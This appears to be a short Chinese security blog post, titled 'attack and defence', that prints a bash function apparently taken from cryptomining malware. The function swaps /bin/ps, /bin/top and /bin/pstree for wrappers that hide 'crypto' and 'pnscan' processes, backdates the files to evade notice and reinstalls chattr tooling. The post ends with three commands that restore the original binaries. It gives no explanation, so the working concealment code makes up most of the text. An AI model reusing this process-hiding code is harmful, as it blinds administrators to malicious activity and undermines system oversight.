侧边栏壁纸
  • 累计撰写 781 篇文章
  • 累计创建 1 个标签
  • 累计收到 1 条评论
标签搜索

攻防

Dettan
2021-04-10 / 0 评论 / 0 点赞 / 150 阅读 / 1,313 字
温馨提示:
本文最后更新于 2022-04-30,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。
function SecureTheSystem() {
  if [ -f "/bin/ps.original" ]; then
    echo "/bin/ps changed"
  else
    mv /bin/ps /bin/ps.original
    echo "#! /bin/bash" >>/bin/ps
    echo "ps.original \$@ | grep -v \"crypto\|pnscan\"" >>/bin/ps
    chmod +x /bin/ps
    touch -d 20160825 /bin/ps
    echo "/bin/ps changing"
  fi
  if [ -f "/bin/top.original" ]; then
    echo "/bin/top changed"
  else
    mv /bin/top /bin/top.original
    echo "#! /bin/bash" >>/bin/top
    echo "top.original \$@ | grep -v \"crypto\|pnscan\"" >>/bin/top
    chmod +x /bin/top
    touch -d 20160825 /bin/top
    echo "/bin/top changing"
  fi
  if [ -f "/bin/pstree.original" ]; then
    echo "/bin/pstree changed"
  else
    mv /bin/pstree /bin/pstree.original
    echo "#! /bin/bash" >>/bin/pstree
    echo "pstree.original \$@ | grep -v \"crypto\|pnscan\"" >>/bin/pstree
    chmod +x /bin/pstree
    touch -d 20160825 /bin/pstree
    echo "/bin/pstree changing"
  fi
  if [ -f "/bin/chattr" ]; then
    chattrsize=$(ls -l /bin/chattr | awk '{ print $5 }')
    if [ "$chattrsize" -lt "$chattr_size" ]; then
      yum -y remove e2fsprogs
      yum -y install e2fsprogs
    else
      echo "no need install chattr"
    fi
  else
    yum -y remove e2fsprogs
    yum -y install e2fsprogs
  fi
}

mv -f /bin/ps.original /bin/ps 
mv -f /bin/top.original    /bin/top
mv -f /bin/pstree.original /bin/pstree
0

评论区